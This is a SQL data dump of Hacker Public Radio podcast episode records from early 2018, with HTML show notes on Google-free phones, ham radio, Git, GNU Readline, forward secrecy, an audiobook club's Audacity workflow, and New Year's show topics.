(2498,'2018-02-28','Life without Google',266,'Quvmoh goes a month without G apps on his phone','<ul>\r\n<li><p>Zenphone 2 <a href=\"https://forum.xda-developers.com/zenfone2/general/guide-brick-soft-hard-bricked-zenfone-2-t3284256\" class=\"uri\">https://forum.xda-developers.com/zenfone2/general/guide-brick-soft-hard-bricked-zenfone-2-t3284256</a></p></li>\r\n<li><p>Magic Device Tool <a href=\"https://github.com/MariusQuabeck/magic-device-tool\" class=\"uri\">https://github.com/MariusQuabeck/magic-device-tool</a></p></li>\r\n<li><p>F-Droid <a href=\"https://f-droid.org/en/\" class=\"uri\">https://f-droid.org/en/</a></p></li>\r\n<li><p>K-9 Mail <a href=\"https://f-droid.org/packages/com.fsck.k9/\" class=\"uri\">https://f-droid.org/packages/com.fsck.k9/</a></p></li>\r\n<li><p>Protonmail <a href=\"https://protonmail.com/\" class=\"uri\">https://protonmail.com/</a></p></li>\r\n<li><p>Signal <a href=\"https://signal.org/\" class=\"uri\">https://signal.org/</a></p></li>\r\n<li><p>Syncthing <a href=\"https://syncthing.net/\" class=\"uri\">https://syncthing.net/</a></p></li>\r\n</ul>',110,0,0,'CC-BY-SA','google free, F-droid, LineageOS, magic device tool',0,0,1),
(2499,'2018-03-01','Tuning around the HF 40Mtr band',767,'In this episode I give an example of what sort of things you can expect hear on the HF band','<h2 id=\"tuning-around-the-band\">Tuning around the band</h2>\r\n<p>In this episode I tune around a small portion of the HF (High Frequency) band in the 40 Meters section which in the UK covers 7 to 7.2Mhz.</p>\r\n<h3 id=\"equipment-details\">Equipment details</h3>\r\n<p>The mode being used was mostly LSB (Lower Side Band)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Sideband\" class=\"uri\">https://en.wikipedia.org/wiki/Sideband</a></p>\r\n<p>At the end of the recording I briefly switch mode to to listen to a commercial station on AM (Amplitude modulation).<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Amplitude_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Amplitude_modulation</a></p>\r\n<p>The radio being used is my trusty and much loved Kenwood TS 940S<br />\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/ts940s.html\" class=\"uri\">https://www.universal-radio.com/catalog/hamhf/ts940s.html</a></p>\r\n<p>The antenna used is a dipole tuned for the 40 Meter band.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Dipole_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Dipole_antenna</a></p>\r\n<p>I used my trusty Dictaphone and internal microphone to do the recording<br />\r\n<a href=\"https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines\" class=\"uri\">https://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&amp;qid=1502381150&amp;sr=8-1&amp;keywords=dictation+machines</a></p>\r\n<p>If you want to hold private conversations with another party over radio then perhaps amateur radio is not for you as this goes against the whole principle of Amateur Radio.</p>\r\n<p>Listening to amateur radio broadcasts is actively encouraged, and in the UK a licence is not required for listening.</p>\r\n<p>A simple receiver capable of listening to sideband broadcasts and odd bit of long wire is all that\'s required.</p>\r\n<p>In the past it was common to hear an Amateur operator saying goodbye to any short wave listeners at the end of their conversation. If you listen carefully at about 10 minutes in the station DF2BO says goodbye to anybody still listening.</p>\r\n<h3 id=\"stations-received\">Stations received</h3>\r\n<ul>\r\n<li><p>DF2BO speaking to Peter VK4ZP in Brisbane Queensland, on 7.16209 MHz</p></li>\r\n<li><p>CW station calling CQ on 7.00994 MHz, I don\'t know the callsign or details of the station as I can\'t read Morse code however I did recognise the distinctive rhythm of the letters C and Q.</p></li>\r\n<li><p>Transmitting the letters CQ on a particular radio frequency is used as an invitation for any operators listening on that frequency to respond. It is widely used in amateur radio.</p></li>\r\n<li><p>German station unidentified on 7.15794 MHz</p></li>\r\n<li><p>DF2BO name, Tom, near Stuttgart speaking to Rob VK2XZ who I can\'t hear on 7.16200 MHz, then speaking briefly with Chris VK2SR who I can\'t hear</p></li>\r\n<li><p>Another brief bit of morse code</p></li>\r\n<li><p>An unknown commercial station broadcasting on 7.35520 on AM</p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','ham radio, amateur radio, radio, hf',0,0,1),
(2502,'2018-03-06','Volume Of Thought',440,'Lostnbronx attempts to measure the \"volume\" of his own thoughts.','<p>Lostnbronx measures how loud his own thoughts are -- or rather, how loud outside noise has to be before they are disrupted.</p>\r\n<p>It turns out that unwanted music in his ears at -30 dB is when his train of thought starts to derail.</p>',107,0,0,'CC-BY-SA','lostnbronx,thinking,thoughts,volume,noise,music,confusion',0,0,1),
(2504,'2018-03-08','Intro to Git with pen and paper',2205,'Klaatu introduces Git using pen and paper.','<pre><code>git add\r\n\r\ngit commit -m &quot;some useful message&quot;\r\n\r\ngit push origin HEAD</code></pre>\r\n',78,104,0,'CC-BY-SA','git',0,0,1),
(2497,'2018-02-27','2017-2018 New Years Eve show part 1',13200,'Part one of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---1\">HPR NYE 2017 - 1</h2>\r\n<ul>\r\n<li><p>Ken and Casper chat about the new year show and space</p></li>\r\n<li><p>Pirate drops in and Casper gets a new job</p></li>\r\n<li><p>Amazon\'s Giant Glass Balls<br />\r\n<a href=\"https://www.google.com/search?q=bezos+giant+glass+balls&amp;tbm=isch&amp;source=iu&amp;ictx=1&amp;fir=EW1kjYgk7lISlM%253A%252CTgFNxH0jr8vQLM%252C_&amp;usg=__XtnxMzguAWZinVFgvLoiwvN7qvg%3D&amp;sa=X&amp;ved=0ahUKEwiXr6n2grTYAhUJx2MKHTugBL0Q9QEIKzAA#imgrc=EW1kjYgk7lISlM\">https://www.google.com/search?q=bezos+giant+glass+balls&amp;tbm=isch&amp;source=iu&amp;ictx=1&amp;fir=EW1kjYgk7lISlM%253A%252CTgFNxH0jr8vQLM%252C_&amp;usg=__XtnxMzguAWZinVFgvLoiwvN7qvg%3D&amp;sa=X&amp;ved=0ahUKEwiXr6n2grTYAhUJx2MKHTugBL0Q9QEIKzAA#imgrc=EW1kjYgk7lISlM</a></p></li>\r\n<li><p>ExplicitNess, and ratings and stuff</p></li>\r\n<li><p>Ken is tidying his room</p></li>\r\n<li><p>Microcenter</p></li>\r\n<li><p>SS Virgina5 - pirate makes the boat go. Do not ride!!!!</p></li>\r\n<li>Built as a passenger ferry in 1922<br />\r\n<a href=\"https://www.virginiav.org/\" class=\"uri\">https://www.virginiav.org/</a>\r\n<ul>\r\n<li>400hp 200rpm 3cylinder engine</li>\r\n<li>Steam mechanics explained 45 manual lubrication points</li>\r\n<li>powered by diesel not unlike tar</li>\r\n<li>pirate talks through lighting a plant off</li>\r\n<li>$150 for a 5 gallon bucket</li>\r\n</ul></li>\r\n<li><p>Ken Tweets <a href=\"https://twitter.com/HPR/status/947415023500001280\" class=\"uri\">https://twitter.com/HPR/status/947415023500001280</a></p></li>\r\n<li><p>NetMiner</p></li>\r\n<li><p>Old Time Steam Powered Machine Shop: <a href=\"https://www.youtube.com/watch?v=9WXHNBMLZZM\" class=\"uri\">https://www.youtube.com/watch?v=9WXHNBMLZZM</a></p></li>\r\n<li><p>FDroid</p></li>\r\n<li><p>Copy APKs for your kids</p></li>\r\n<li><p>Ken replaces battery in OMRON EAR MC 510 - THERMOMETER</p></li>\r\n<li><p>Cool pcb ruler from Adafruit<br/><a href=\"https://www.adafruit.com/product/1554\" class=\"uri\">https://www.adafruit.com/product/1554</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/List_of_battery_sizes\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_battery_sizes</a></p></li>\r\n<li><p>SparkyLinux - supports 32bit architecture, web browsers, Debian based, one old P4</p></li>\r\n<li><p>Bootsteap - sparky command line installer, small package. Will allow you to install a desktop, can bootstrap to whatever you want.</p></li>\r\n<li><p>GNU - DOS</p></li>\r\n<li><p><a href=\"https://linuxlugcast.com/\" class=\"uri\">https://linuxlugcast.com/</a></p></li>\r\n<li><p><a href=\"https://razor1911.com/\" class=\"uri\">https://razor1911.com/</a></p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Motorola_68000\" class=\"uri\">https://en.wikipedia.org/wiki/Motorola_68000</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/watch?v=cMVt0eUDYhY\" class=\"uri\">https://www.youtube.com/watch?v=cMVt0eUDYhY</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/results?search_query=amiga+documentary\" class=\"uri\">https://www.youtube.com/results?search_query=amiga+documentary</a></p></li>\r\n<li><p>xKlaatu signs on</p></li>\r\n<li><p>Discuss New Years in New Zealand!!!!</p></li>\r\n<li><p>Gun Control</p></li>\r\n<li><p>SHOW NOTES ARE(NOT?) Important</p></li>\r\n<li><p>xklaatu does not like shownotes</p></li>\r\n<li><p>Ken encourages them</p></li>\r\n<li><p>HoneyMagoo REALLY joins</p></li>\r\n<li><p>Markdown vs. non-markdown HTML5,</p></li>\r\n<li><p>Heated topic - trigger point discovered</p></li>\r\n<li><p>xklaatu owes ken a show on Git</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Hercules_Computer_Technology\" class=\"uri\">https://en.wikipedia.org/wiki/Hercules_Computer_Technology</a></p></li>\r\n<li><p>Why 36 bits? Because all letters were upper case, which only required 6 bits, 6*6</p></li>\r\n<li><p>Casper\'s first graphics card was a rendition vérité</p></li>\r\n<li><p>Casper gets kicked off due to Van Allen Belt interference</p></li>\r\n<li><p>Fascism</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Saul_Goodman\" class=\"uri\">https://en.wikipedia.org/wiki/Saul_Goodman</a></p></li>\r\n<li><p>Late night programming in the states<br />\r\n<a href=\"https://youtu.be/58mhPaUL3Uc?t=6m45s\" class=\"uri\">https://youtu.be/58mhPaUL3Uc?t=6m45s</a></p></li>\r\n<li><p>Android MTP / KDEConnect</p></li>\r\n<li><p>Use a protocol that works like SFTP</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/LulzSec\" class=\"uri\">https://en.wikipedia.org/wiki/LulzSec</a></p></li>\r\n<li><p>Back to shownote discussion</p></li>\r\n<li><p><a href=\"https://www.reddit.com/r/WhereIsAssange/\" class=\"uri\">https://www.reddit.com/r/WhereIsAssange/</a></p></li>\r\n<li><p>Russia Discussion</p></li>\r\n<li><p><a href=\"https://www.infowars.com/media-completely-ignores-bombshell-seymour-hersh-revelations-on-seth-rich/\" class=\"uri\">https://www.infowars.com/media-completely-ignores-bombshell-seymour-hersh-revelations-on-seth-rich/</a></p></li>\r\n<li><p><a href=\"https://jackpineradicals.com/boards/topic/seymour-hersch-audio-says-seth-rich-was-wikileaks-source/\" class=\"uri\">https://jackpineradicals.com/boards/topic/seymour-hersch-audio-says-seth-rich-was-wikileaks-source/</a></p></li>\r\n<li><p>American music New Zealand</p></li>\r\n<li><p><a href=\"https://www.dailydot.com/debug/tesla-south-australia-battery/\" class=\"uri\">https://www.dailydot.com/debug/tesla-south-australia-battery/</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/watch?v=xHrhqtY2khc\" class=\"uri\">https://www.youtube.com/watch?v=xHrhqtY2khc</a></p></li>\r\n<li><p>The pirate bay AFK</p></li>\r\n<li><p>Proposal: rename &quot;smart phone&quot; to Smart Bugs</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Terminal_velocity\" class=\"uri\">https://en.wikipedia.org/wiki/Terminal_velocity</a></p></li>\r\n<li><p>Cryptonomicon</p></li>\r\n<li><p>Quantum Computing / Encryption / Reality</p></li>\r\n<li><p><a href=\"https://savannahnow.com/opinion/column/2017-12-23/mark-murphy-sixth-extinction-how-will-we-address-plague-man\" class=\"uri\">https://savannahnow.com/opinion/column/2017-12-23/mark-murphy-sixth-extinction-how-will-we-address-plague-man</a></p></li>\r\n<li><p><a href=\"https://www.thomhartmann.com/forum/2013/10/6th-mass-extinction\" class=\"uri\">https://www.thomhartmann.com/forum/2013/10/6th-mass-extinction</a></p></li>\r\n<li><p><a href=\"https://frontalot.com\" class=\"uri\">https://frontalot.com</a></p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2505,'2018-03-09','The power of GNU Readline - part 3',1631,'More useful key combinations','<h1 id=\"the-power-of-gnu-readline---part-3\">The power of GNU Readline - part 3</h1>\r\n<p>In part 2 we looked at deleting text in various ways and pasting it back, using GNU Readline key sequences.</p>\r\n<p>The full-length notes (available <a href=\"https://hackerpublicradio.org/eps/hpr2505/full_shownotes.html\">here</a>) contain some new terms and features of GNU Readline, and introduce some further ways of manipulating text, with some examples.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/GNU_Readline\"><em>GNU Readline</em></a></li>\r\n<li><a href=\"https://tiswww.cwru.edu/php/chet/readline/rluserman.html\"><em>GNU Readline</em> manual</a></li>\r\n<li>Previous episodes:\r\n<ul>\r\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2073\">The power of GNU Readline - part 1</a></li>\r\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2453\">The power of GNU Readline - part 2</a></li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2505/full_shownotes.html\">Detailed notes</a></li>\r\n</ul></li>\r\n</ul>',225,102,1,'CC-BY-SA','command line,cli,GNU Readline',0,0,1),
(2506,'2018-03-12','Build Your Own Lisp (A Book Review)',544,'Learn C programming while building a LISP','<h2 id=\"build-your-own-lisp\">Build Your Own Lisp</h2>\r\n<ol type=\"1\">\r\n<li><p><a href=\"https://www.buildyourownlisp.com/\" class=\"uri\">https://www.buildyourownlisp.com/</a></p></li>\r\n<li><p><a href=\"https://github.com/orangeduck/BuildYourOwnLisp\" class=\"uri\">https://github.com/orangeduck/BuildYourOwnLisp</a></p></li>\r\n<li><p>Daniel Holden links:<br />\r\n<a href=\"https://github.com/orangeduck\" class=\"uri\">https://github.com/orangeduck</a><br />\r\n<a href=\"https://www.theorangeduck.com/\" class=\"uri\">https://www.theorangeduck.com/</a></p></li>\r\n</ol>',326,0,0,'CC-BY-SA','programming,C,Lisp,book review',0,0,1),
(2507,'2018-03-13','Racket, Nix, Fractalide and the sounds of a Hong Kong New Town',1127,'It\'s a triple whammy! It\'s functional programming, functional package management and soundscape!','<p>Listen to me walk through five shopping malls and one bicycle tunnel, as I rant about how flow-based programming microservices and functional package management will save the future of programming and software reuse, and usher in a new era of software quality and productivity!</p>\r\n<p>If it sounds like I\'m a bit down about working alone on <code>racket2nix</code>, you\'re interpreting me wrong! I didn\'t expect any feedback at all from the small to non-existent racket/nix intersection, but it turns out the intersection is larger than I thought, and I\'m grateful for any words of encouragement, and feedback in any form on what the community needs.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://github.com/clacke/racket2nix-clacke\">racket2nix</a></li>\r\n<li><a href=\"https://racket-lang.org/\">racket</a></li>\r\n<li><a href=\"https://nixos.org/nix/\">nix</a></li>\r\n<li><a href=\"https://fractalide.com/\">fractalide</a></li>\r\n</ul>\r\n<p>Nix is the mother of Guix:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2198\">hpr2198 :: How awesome is Guix and why will it take over the world</a></li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','racket, nix, racket2nix, fractalide, soundscape, hongkong',0,0,1),
(2508,'2018-03-14','False Prophets',550,'Lostnbronx considers how a cult-of-personality may affect space exploration.','<p>Lostnbronx considers the effect that Elon Musk and SpaceX are having on the latest push for the exploitation and exploration of space, and the danger of pegging the future of the human race upon the showmanship of one man.</p>',107,0,1,'CC-BY-SA','space,spacex,elon musk,tesla,electric cars,cult-of-personality,lostnbronx',0,0,1),
(2509,'2018-03-15','AudioBookClub 16 Matcher Rules',7171,'The HPR Audiobook Club reviews Matcher Rules by Mary Holland','<h2 id=\"summary\">SUMMARY</h2>\r\n<p>In this episode, the HPR_AudioBookClub discusses Matcher Rules by Mary Holland <a href=\"https://scribl.com/books/PDB66/matcher-rules\" class=\"uri\">https://scribl.com/books/PDB66/matcher-rules</a></p>\r\n<h2 id=\"non-spoiler-thoughts\">NON-SPOILER THOUGHTS</h2>\r\n<ul>\r\n<li>pokey: An enjoyable story, but not really for me.</li>\r\n<li>FiftyOneFifty: It\'s not about orgies...</li>\r\n<li>x1101: Liked it. A little slow.</li>\r\n<li>Thaj: It surprised me, I didn\'t expect to like it as much as I did.</li>\r\n</ul>\r\n<h2 id=\"beverage-reviews\">BEVERAGE REVIEWS</h2>\r\n<p><em>As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</em></p>\r\n<ul>\r\n<li>Thaj: Voice fading fast. Need a boost. With a little lemon and some local honey <a href=\"https://www.traditionalmedicinals.com/products/throat-coat/\" class=\"uri\">https://www.traditionalmedicinals.com/products/throat-coat/</a></li>\r\n<li>x1101: Harpoon IPA - <a href=\"https://www.harpoonbrewery.com/beer/1/harpoon-ipa\" class=\"uri\">https://www.harpoonbrewery.com/beer/1/harpoon-ipa</a></li>\r\n<li>pokey: &quot;my beer is a knife&quot; Smuttynose Robust Porter <a href=\"https://smuttynose.com/beer/robust-porter/\" class=\"uri\">https://smuttynose.com/beer/robust-porter/</a>. I sharpen it with a Spyderco Triangle Sharpmaker <a href=\"https://www.spyderco.com/catalog/details.php?product=77\" class=\"uri\">https://www.spyderco.com/catalog/details.php?product=77</a>. It is awesome.</li>\r\n<li>FiftyOneFifty: Junior Johnson\'s Midnight Moonshine</li>\r\n</ul>\r\n<h2 id=\"things-we-talked-about\">THINGS WE TALKED ABOUT</h2>\r\n<p>We discuss the upsides and downsides of affinity groups. Pokey wonders why terminology for simple things are changed in sci-fi stories. How exactly do population and economics work together?</p>\r\n<h2 id=\"our-next-audiobook\">OUR NEXT AUDIOBOOK</h2>\r\n<p>Blood Witness by David Hitt - <a href=\"https://scribl.com/books/PA513/blood-witness\" class=\"uri\">https://scribl.com/books/PA513/blood-witness</a></p>\r\n<h2 id=\"next-recording\">NEXT RECORDING</h2>\r\n<p>We are currently working through a backlog of pre-recorded episodes. Once this is completed we will restart the Audiobook Club again. If you want to be notified when this happens please let us know via the HPR Mailing List \'hpr at hackerpublicradio dot org\'.</p>\r\n<h2 id=\"further-recommendations\">FURTHER RECOMMENDATIONS</h2>\r\n<p>Nothing this time, well except for the typical Star Wars reference...and Star Trek, and comics.</p>\r\n<h2 id=\"feedback\">FEEDBACK</h2>\r\n<p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section. As always; remember to visit the HPR contribution page HPR could really use your help right now. <a href=\"https://hackerpublicradio.org/contribute.php\" class=\"uri\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p><em>Sincerely,</em><br />\r\n<em>The HPR_AudioBookClub</em></p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n<h2 id=\"our-audio\">OUR AUDIO</h2>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net\" class=\"uri\">https://audacity.sourceforge.net</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. It has been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don\'t have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.</p>\r\n<p>Next we use the &quot;Compressor&quot; effect with the following settings:</p>\r\n<p>Threshold: -30db<br />\r\nNoise Floor: -50db<br />\r\nRatio: 3:1<br />\r\nAttack Time: 0.2sec<br />\r\nDecay Time: 1.0 sec<br />\r\nMake-up Gain for 0db after compressing&quot; and &quot;compress based on peaks&quot; were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata. We use the &quot;Truncate Silence&quot; effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying &quot;uuuuummmm.&quot; Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too agressively your audio may sound sped up and choppy.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can &quot;Mix and Render&quot; all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being &quot;crashy&quot; but if you remember save after every major transform, you will wonder how it even got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','HPR Audiobook Club, Audiobooks, Podiobooks, Science Fiction ',0,0,1),
(2520,'2018-03-30','Diffie-Hellman and Forward Secrecy',1061,'Using Diffie-Hellman Key Exchange to implement Forward Secrecy','<p>Diffie-Hellman Key Exchange is used in a security technique called Forward Secrecy that aims to secure your encrypted communications from future decryption by unauthorized entities. While it does provide additional security it is not absolutely bullet-proof. So while we explain how it works and provides security, we will also discuss how it can go wrong. For more go to <a href=\"https://www.zwilnik.com/?page_id=957\" class=\"uri\">https://www.zwilnik.com/?page_id=957</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.eff.org/https-everywhere\" class=\"uri\">https://www.eff.org/https-everywhere</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/POODLE\" class=\"uri\">https://en.wikipedia.org/wiki/POODLE</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=686\" class=\"uri\">https://www.zwilnik.com/?page_id=686</a></li>\r\n<li><a href=\"https://security.googleblog.com/2011/11/protecting-data-for-long-term-with.html\" class=\"uri\">https://security.googleblog.com/2011/11/protecting-data-for-long-term-with.html</a></li>\r\n<li><a href=\"https://blog.twitter.com/engineering/en_us/a/2013/forward-secrecy-at-twitter.html\" class=\"uri\">https://blog.twitter.com/engineering/en_us/a/2013/forward-secrecy-at-twitter.html</a></li>\r\n<li><a href=\"https://www.khanacademy.org/math/applied-math/cryptography/modern-crypt/v/discrete-logarithm-problem\" class=\"uri\">https://www.khanacademy.org/math/applied-math/cryptography/modern-crypt/v/discrete-logarithm-problem</a></li>\r\n<li><a href=\"https://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks\" class=\"uri\">https://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks</a></li>\r\n<li><a href=\"https://www.thesslstore.com/blog/apple-will-require-use-ats-2017/\" class=\"uri\">https://www.thesslstore.com/blog/apple-will-require-use-ats-2017/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=957\" class=\"uri\">https://www.zwilnik.com/?page_id=957</a></li>\r\n</ul>\r\n',198,74,1,'CC-BY-SA','Diffie-Hellman, Encryption, Forward Secrecy',0,0,1),
(2530,'2018-04-13','Introduction to Health',719,'This is the Introduction to a series on health and taking care of yourself','<p>On our refrigerator we have a note card that says &quot;If you don\'t take care of your body, where will you live?&quot; This is a very pertinent question that can open up a discussion of how to achieve a better level of health and age gracefully. This show will kick off a series that will explore various topics in how to get good medical information and improve your health.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.webmd.com/\" class=\"uri\">https://www.webmd.com/</a></li>\r\n<li><a href=\"https://www.hopkinsmedicine.org/johns_hopkins_bayview/patient_visitor_amenities/community_health_library/finding_reliable_health_information_online.html\" class=\"uri\">https://www.hopkinsmedicine.org/johns_hopkins_bayview/patient_visitor_amenities/community_health_library/finding_reliable_health_information_online.html</a></li>\r\n<li><a href=\"https://medlineplus.gov/evaluatinghealthinformation.html\" class=\"uri\">https://medlineplus.gov/evaluatinghealthinformation.html</a></li>\r\n<li><a href=\"https://medlineplus.gov/understandingmedicalresearch.html\" class=\"uri\">https://medlineplus.gov/understandingmedicalresearch.html</a></li>\r\n<li><a href=\"https://www.youtube.com/user/thehealthcaretriage\" class=\"uri\">https://www.youtube.com/user/thehealthcaretriage</a></li>\r\n<li><a href=\"https://theincidentaleconomist.com/wordpress/about/about-aaron/\" class=\"uri\">https://theincidentaleconomist.com/wordpress/about/about-aaron/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=256\" class=\"uri\">https://www.palain.com/?page_id=256</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Medicine',0,0,1),
(2515,'2018-03-23','2017-2018 New Years Eve show part 2',10169,'Part two of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---2\">HPR NYE 2017 - 2</h2>\r\n<ul>\r\n<li><p>To tab or not to tab</p></li>\r\n<li><p>Bitcoin</p></li>\r\n<li><p>Michael Keaton<br />\r\n<a href=\"https://en.m.wikipedia.org/wiki/Michael_Keaton\" class=\"uri\">https://en.m.wikipedia.org/wiki/Michael_Keaton</a></p></li>\r\n<li><p><a href=\"https://seclists.org/fulldisclosure/\" class=\"uri\">https://seclists.org/fulldisclosure/</a></p></li>\r\n<li>Redacted Tonight</li>\r\n<li><p>Phillip DeFranco</p></li>\r\n<li><p>Will robots take our jobs</p></li>\r\n<li><p><a href=\"https://www.eugdpr.org/\" class=\"uri\">https://www.eugdpr.org/</a></p></li>\r\n<li><p><a href=\"https://www.privacycompany.eu/files/DPbD_Framework.pdf\" class=\"uri\">https://www.privacycompany.eu/files/DPbD_Framework.pdf</a></p></li>\r\n<li><p><a href=\"https://www.privacycompany.eu/files/factsheet_GDPR.pdf\" class=\"uri\">https://www.privacycompany.eu/files/factsheet_GDPR.pdf</a></p></li>\r\n<li><p>Gerald is happy to hear someone with his native tounge #perlist - Gerald grew up in Staines, UK<br />\r\n<a href=\"https://www.telegraph.co.uk/news/uknews/1389349/Staines-names-Ali-G-as-its-ambassador.html\" class=\"uri\">https://www.telegraph.co.uk/news/uknews/1389349/Staines-names-Ali-G-as-its-ambassador.html</a></p></li>\r\n<li><p>Aliens needed for notes</p></li>\r\n<li><p>Perl 5 vs Perl 6</p></li>\r\n<li><p>Xmlstarlet<br />\r\n<a href=\"https://xmlstar.sourceforge.net\" class=\"uri\">https://xmlstar.sourceforge.net</a></p></li>\r\n<li><p>Jq<br />\r\n<a href=\"https://github.com/stedolan/jq\" class=\"uri\">https://github.com/stedolan/jq</a></p></li>\r\n<li><p>cmhobs and ken chat about pen testing</p></li>\r\n<li><p>Ferro Rod Fire Starter for Survival<br />\r\n<a href=\"https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA\" class=\"uri\">https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA</a><br />\r\n<a href=\"https://primitivetechnology.wordpress.com/\" class=\"uri\">https://primitivetechnology.wordpress.com/</a></p></li>\r\n<li><p>Casper checks back into the pod as we had dead air - bad music check to make sure anyone is out there</p></li>\r\n<li>3 license types for a HAM\r\n<ul>\r\n<li>Technician Class - Entry Level License (Written Multiple Choice Test)</li>\r\n<li>General Class - Adds HF privs (Written Multiple Choice Test)</li>\r\n<li>Extra Class - Adds more HF privs (Written Multiple Choice Test)</li>\r\n</ul></li>\r\n<li>WB6NOA Gordon West</li>\r\n<li>KB6NU No-Nonsense Study Guides</li>\r\n<li><p>NE4RD gives us a run-down and disoroentation on what it means to be a HAM</p></li>\r\n<li>Why be a HAM?\r\n<ul>\r\n<li>Emergency Communications - Walk-A-Thons, Natural Disaster Support, etc</li>\r\n<li>GIFs</li>\r\n<li>Messing About</li>\r\n<li>Digital modes</li>\r\n<li>Digital texting, experimenting with low power</li>\r\n<li>GREAT Breakdown of all the ins and outs and HAMS</li>\r\n</ul></li>\r\n</ul>',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
